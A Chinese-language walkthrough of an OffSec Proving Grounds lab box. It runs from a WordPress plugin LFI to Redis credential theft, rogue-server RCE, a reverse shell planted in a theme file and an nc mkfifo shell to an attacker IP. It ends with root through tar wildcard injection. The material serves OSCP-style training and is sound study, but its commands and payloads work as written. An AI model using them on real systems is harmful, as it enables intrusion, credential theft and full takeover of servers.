1.前言
本来打算考完OSCP再来更博客的,但过几天讲课需要,就不管那么多了。我会尽量把步骤和涉及到的知识点写详细一点。
2.平台介绍
简要介绍一下,PG全称PROVING GROUNDS,是一个在线靶机平台,PG分为两个模块,分别是Proving Grounds Play和Proving Grounds Practice。PG Play和PG Practice的区别在于:PG Play的机器由 VulnHub 社区生成,注册用户每天 可以获取3 小时的免费访问权限,而 PG Practice机器是由 OffSec 专家创建,需要以19刀一个月的订阅价格来访问里面的机器,且订阅后也可以无限制访问PG Play的机器。Kali Linux就是由OffSec这家公司所发布和维护。

3.信息收集
打靶机的话没有那么多其他的东西,第一步基本都是先扫描一下端口,看下目标开放了哪些端口,以及是什么服务。
扫描我一般会分两到三次,这样可以确保没有遗漏。
第一次作为一次常规扫描,
nmap -sC -sV 192.168.62.166
-sC //使用默认脚本扫描
-sV //尝试扫描运行服务的具体版本

显示只开了两个端口:22和80,那么下面再做一次全端口扫描,
nmap -p- -min-rate 500 192.168.62.166
-p- //扫描全端口
-min-rate //每秒发送数据包的最低速率

这里可以明显看到扫描结果多了一个开放端口6379,这也就是多扫描一次的好处,如果因为偷懒而错过了一个可能利用的端口或者服务,是很可惜的。
最后将这三个端口单独拎出来扫描一遍,以确认具体服务版本,
nmap -p 22,80,6379 -sC -sV 192.168.62.166

4.WordPress插件存在LFI
回顾一下得到的三个端口,最可能利用的点在端口80和端口6379,因为ssh一般不会有直接利用的点,由此我们从Web服务切入。
用浏览器打开,很明显,是个用WordPress搭建的博客站点,

没有发布过新文章,不能从页面本身得到任何信息,意味着我们要将注意力放在WordPress这个cms本身。
这里要提到一个工具:wpscan,针对wordpress的一款安全扫描器(kali自带)。工具可以用来枚举用户名,敏感文件,以及安装的主题和插件。
基本用法如下,直接给url就好,
wpscan --url http://192.168.62.166/
在扫描结果我们会注意到安装了一个名为site-editor的插件,

kali本地提供了一个不断更新的漏洞数据库供用户检索,我们可以将这个可以插件放上去查询,使用searchsploit命令,后面跟关键字就可以,
searchsploit wordpress site editor

得到的两个结果中,我们基本可以将下面的一个pass,CSRF这种难以利用,需要受害者点击的漏洞,一般不会在靶机环境中出现。剩下的一个LFI本地文件包含,毫无疑问是看上去最可能性的,版本1.1.1,与我们的目标靶机的插件版本也是一致的。
通过以下命令将这个漏洞的详细利用信息给复制到本地,
searchsploit -m 44340

查看文件,略过一些无关紧要的信息,我们直接看利用代码就好,

得到利用代码,我们直接拿来测试(记得替换host),
http://192.168.62.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

可以看到是读到了/etc/passwd文件的,不过网页显示下不太美观,在命令行下会更易读,如下:
curl http://192.168.62.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
//curl(Client URL的缩写)是一个命令行工具,通过指定相关URL,和需要发送/接收的数据与Web或应用程序服务器通信。我们通常用来查看网页内容,以及下载文件。

引起我们注意的几个账户有:mysql,redis,alice。
5.通过LFI得到redis服务密码
到目前为止我们通过80端口得到的只有一个LFI,但是只靠LFI我们无法做到进一步的利用,最多只能查看一些文件。现在让我们从Web退出来,重新回顾一下我们之前扫描的端口、有没有注意到6379端口的redis服务我们还没有尝试过?
尽管你们应该都知道,但我还是要从攻击者的角度,简要介绍一下redis的几个特性,
1.Redis全称Remote Dictionary Server,即远程字典服务,是一个高性能的key-value数据库。
2.默认情况下,Redis 通常使用基于纯文本的协议,但也可以使用ssl/tls实现。
3.默认情况下,访问Redis不需要凭据。
4.Redis的身份验证既可以配置为用户名+密码,也可以配置为仅需要密码。
5.Redis配置文件的默认路径在/etc/redis/redis.conf
6.Redis的账户名和密码可以在redis.conf中分别以masteruser和requirepass两个参数进行配置
了解了这些信息,我们可以继续。最常见的redis利用方式就是通过未授权去写webshell,ssh密钥,定时任务,让我们检查一下,
redis-cli -h 192.168.62.166
//redis-cli是一个用于向Redis 服务器发送命令和读取回复的终端程序
//-h用于指定服务器IP,默认为127.0.0.1
使用info命令检查,回显告诉我们需要身份认证,显然设置了密码,那么未授权肯定是不行了。
但是别忘了我们还有LFI,以及redis的密码保存在配置文件中,由此我们开始尝试包含redis的配置文件,
http://192.168.62.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf

可以看到数据多且乱,如同之前一样,我们用curl命令来解决,并将内容输出到本地一个文件,
curl http://192.168.62.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf > redis.conf

我们知道账户名和密码分别以masteruser和requirepass两个参数进行配置,所以对文件进行筛选,
cat redis.conf|grep -n requirepass
-n //显示行数

可以看到只搜索到了requirepass字段的值为Ready4Redis?,没有masteruser字段,说明只设置了密码。
得到了密码,我们尝试登录redis,
AUTH Ready4Redis?
Tips:如果只设置了密码,就不需要输入用户名

可以看到成功通过了身份验证,现在我们拥有了redis服务的权限,现在应该思考的是下一步怎么利用它来得到一个shell。
6.redis利用方式(一)
这里会有两种利用方式,先介绍我自己打时用的一种:基于主从复制的RCE;
要理解这种利用方式,需要简要了解一下主从复制和redis的模块,
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。(可以将它类比MYSQL的UDF,都是允许外部扩展而导致的命令执行)
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过fullresync请求同步文件到从机上。关于此漏洞更详细的分析请参照:Redis 基于主从复制的 RCE 利用方式
而Redis Rogue Server便是基于此漏洞产生的一个利用工具,它通过在本机模拟一个恶意服务端来作为主机,并模拟fullresync请求,将恶意的命令执行模块同步到目标机器上,从而达到执行命令的目的。
用法如下,
python3.9 redis-rogue-server.py --rhost 192.168.62.166 --lhost 192.168.49.62 --lport 6379 --passwd=Ready4Redis?

有时候一次不成功,再多试一次,

成功接收到shell,

7.redis利用方式(二)
省略。
8.在wp-config.php找到MYSQL的账户密码,登录MYSQL
为了更美观以及操作更方便,使用如下命令获取一个PTY,
python -c 'import pty; pty.spawn("/bin/bash")'
//补充:
1.PTY是Pseudo TeletYpe的缩写,我们一般称之为伪终端;
2.之所以称之为伪终端,是因为它的功能和行为类似于终端,但适用于任意两个端点;
3.这种微小的差异使多个PTY能够在同一 TTY 的上下文中共存。
4.python的pty模块定义了用于处理伪终端概念的操作:启动另一个进程并能够以编程方式写入和读取其控制终端。
关于PTY和TTY更详细的解释,可以参考这篇文章:PTY 和 TTY 是什么意思?

现在我们是redis,通过检查会发现我们的权限十分低。
因为目标是WordPress框架,我们可以尝试到配置文件wp-config.php中找MYSQL的账户密码,
cat /var/www/html/wp-config.php

得到MYSQL账户karl/Wordpress1234,然后直接登录MYSQL,
mysql -u karl -p
9.利用MYSQL覆写wordpress的后台密码
找到Wordpress的用户表,
show databases;
use wordpress;
show tables;
select * from wp_users;

可以看到密码是加密的,这种加密方式并非单纯的MD5,似乎是MD5和PHPass的组合。无论如何,这可以在hashcat官网给出的hash类型示例中找到,如下图:

当然我们也不需要去解密这个hash,只要替换它就好。用这个网站,可以快速生成你想要的WordPress hash,甚至更新的SQL语句都帮你写好了,我们只需要替换相关的字段就好,
UPDATE `wp_users` SET `user_pass` = '$P$BkPXu37OkWp7E2rndcnGabn40vkc3Z1' WHERE user_login = 'admin'


现在我们将hash成功替换,现在我们到/wp-login.php直接登录wordpess后台试试。
10.登录wordpress,利用后台反弹shell(www/alice权限)
利用凭据admin/123,顺利登录后台,

WordPress后台getshell的方式应该是众所周知的,它提供了编辑主题和插件的功能,我们只需要将内容替换为我们的反弹shell代码就可以了,

我这里选取footer.php,

在替换之前,我们还没有生成反弹shell用的php代码,这个可以使用msfvenom来完成,
msfvenom -p php/reverse_php LHOST=192.168.49.62 LPORT=88 -f raw > reverse.php

将代码替换上去然后保存(记得先监听对应端口),

接收到shell,但由于wordpress的反弹shell不稳定,隔一会就会断开,所以再用nc回弹一个端口6666的shell,
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.62 6666 >/tmp/f

补充解释:wordpress的反弹shell不稳定的原因在于更改后网站无法正常通信,隔一会会自动恢复更改,如下图,

现在,我们是alice/www。
可以在/home/alice/local.txt下找到flag,

11.利用计划任务配合通配符(*)注入提权,得到root shell
最后一步的任务在于提权,成为root。通常,我们会用到一个sh脚本:linpeas.sh
这是一个用于在Linux/Unix*/MacOS主机上搜集对于提权可能有用的信息的工具,并且以彩色形式输出,阅读起来十分方便,不会像某些工具的输出一样乱成一团,十分费眼睛。这个脚本极大提高了我们在提权阶段的效率,省去了手动检索各种信息的步骤。
这里我在本地用python开一个http服务,然后到目标机器用wget将linpeas.sh下载,
python3.9 -m http.server 80
wget http://192.168.49.62/linpeas.sh
chmod +x linpeas.sh //赋予其执行权限

下面开始运行脚本,输出像这样,

在输出中我们会注意到一个定时任务,在每3分钟运行以root权限运行一个sh脚本,

显而易见,这极有可能是一个提权点,查看脚本内容,
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
tar -cf /opt/backups/website.tar *
fi

总的来说,脚本会检测目录/var/www/html三分钟之内是否至少有一个文件被修改/更新过,如果有,就会将目录的所有文件备份到/opt/backups/website.tar中。
-type f //搜索所有文件
-mmin -3 //修改时间在3分钟内
wc -l //计算行数
-gt 0 //大于0
-c //创建存档
-f //使用给定文件名创建存档
tar是一个常用程序,我们可以将它放到GTFOBins上面查询,这是一个收录了许多常见且易受攻击的二进制程序列表,我们可以在其中找到tar,

点进去可以了解到,我们可以通过如下格式的命令让tar来为我们执行命令,
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

这里想要提权须得理解tar命令的checkpoint参数和通配符“*”,
1.--checkpoint N //每 N 条记录显示进度消息(默认 10),用来检查压缩进度的一个参数
2.--checkpoint-action=ACTION //在每个checkpoint运行我们指定的action,可以是系统命令
3.通配符“*”在脚本中的作用是列出当前目录所有文件的文件名
tar命令手册对于checkpoint参数的描述如下,

由于我们不能够直接控制tar命令的输入,所以我们需要通过通配符“*”来间接控制,也就是说,我们可以创建两个名为“--checkpoint”和“--checkpoint-action”的文件来执行我们想要的命令,
cd /var/www/html //进入网站目录
echo "chmod +s /bin/bash" > exploit.sh //先创建我们将要执行的sh脚本,将bash设置SUID位
touch ./"--checkpoint=1"
touch ./"--checkpoint-action=exec=bash exploit.sh" //创建两个文件,作为tar命令的参数

可以看到,在创建完文件后耐心等待几分钟,bash的权限已经设置好了SUID位,意味着我们的命令成功执行。
最后执行/bin/bash -p命令,

现在,我们是root。
12.总结
几个推荐的平台,
Comments | NOTHING